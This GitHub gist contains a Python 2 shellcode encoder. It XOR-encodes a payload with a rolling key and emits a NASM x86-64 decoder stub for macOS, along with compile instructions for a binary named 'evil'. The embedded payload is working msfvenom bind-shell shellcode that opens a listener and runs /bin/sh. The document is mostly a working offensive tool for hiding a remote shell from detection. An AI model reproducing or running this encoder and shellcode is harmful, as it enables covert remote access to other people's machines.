Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created July 27, 2015 16:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrankSpierings/040484376f2c2cc3edad to your computer and use it in GitHub Desktop.
Save FrankSpierings/040484376f2c2cc3edad to your computer and use it in GitHub Desktop.
import random
import struct
import re
import ctypes
class ShellcodeGenerator:
__QWORD_SIZE = 8
__iv = 0x0000000000000000
__payload = ""
__nasm = """
global start
section .text
start:
mov rax, __IV__ ; Set the initial key (IV)
lea rbx, [rel $] ; Place current instruction pointer RIP in RBX
xor rcx, rcx ; Zero RCX
mov cl, payload_len/8 ; Set amount of loops
decode:
xor [rbx+0x1a], rax ; XOR buffer pointer (RBX+Offset) with the key
add rax, [rbx+0x1a] ; Update the key. Key = key + decoded
add rbx, 0x8 ; Update the pointer (RBX = RBX + 8)
loop decode ; Loop
section .data
payload: db `__PAYLOAD__`
payload_len: equ $-payload"""
def __init__(self, payload, iv=None):
if iv is None:
self.__iv = random.randrange(0, 0xffffffffffffffff+1)
else:
if type(iv) == str:
str_iv = iv[:self.__QWORD_SIZE]
if len(str_iv) < self.__QWORD_SIZE:
str_iv = "\x00" * (self.__QWORD_SIZE - (len(str_iv) % self.__QWORD_SIZE))
self.__iv = struct.unpack("<Q", str_iv)[0]
else:
self.__iv = iv
self.__payload = self.__pad_payload(payload)
def generate(self, file):
output = self.__nasm
output = re.sub("__IV__", ("0x%08X" % self.__iv), output)
output = re.sub("__PAYLOAD__",self.__get_escaped(self.__encode()),output)
with open(file, "w") as f:
f.write(output)
print "[+] Created file %s" % (file)
print "[+] Compile it for (OSX):\n%s" % ("nasm -f macho64 %s -o evil.o && ld -o evil -segprot __DATA rwx rwx evil.o" % file)
def __encode(self):
key = self.__iv
blocks = [self.__payload[i:i+self.__QWORD_SIZE]
for i in xrange(0,len(self.__payload), self.__QWORD_SIZE)]
ct_message = ""
for block in blocks:
plain_value = struct.unpack("<Q", block)[0]
enc_value = plain_value ^ key
ct_message += struct.pack("<Q", enc_value)
key = ctypes.c_uint64(plain_value + key).value
return ct_message
def __get_escaped(self, message):
output = ""
for letter in message:
output += "\\x%02x" % ord(letter)
return output
def __pad_payload(self, payload):
mod = 0
if len(payload) < self.__QWORD_SIZE:
mod = self.__QWORD_SIZE - len(payload)
elif len(payload) % self.__QWORD_SIZE > 0:
mod = self.__QWORD_SIZE - (len(payload) % self.__QWORD_SIZE)
return payload + "\x90" * mod
#./msfvenom -p osx/x64/shell_bind_tcp --platform osx -a x86_64 -f python
buf = ""
buf += "\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += "\xd2\x0f\x05\x48\x89\xc7\xb8\x68\x00\x00\x02\x48\x31"
buf += "\xf6\x56\xbe\x00\x02\x11\x5c\x56\x48\x89\xe6\x6a\x10"
buf += "\x5a\x0f\x05\xb8\x6a\x00\x00\x02\x48\x31\xf6\x48\xff"
buf += "\xc6\x49\x89\xfc\x0f\x05\xb8\x1e\x00\x00\x02\x4c\x89"
buf += "\xe7\x48\x89\xe6\x48\x89\xe2\x48\x83\xea\x04\x0f\x05"
buf += "\x48\x89\xc7\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05"
buf += "\xb8\x5a\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0"
buf += "\xb8\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"
buf += "\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52"
buf += "\x57\x48\x89\xe6\x0f\x05"
sg = ShellcodeGenerator(buf)
sg.generate("/tmp/test.asm")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment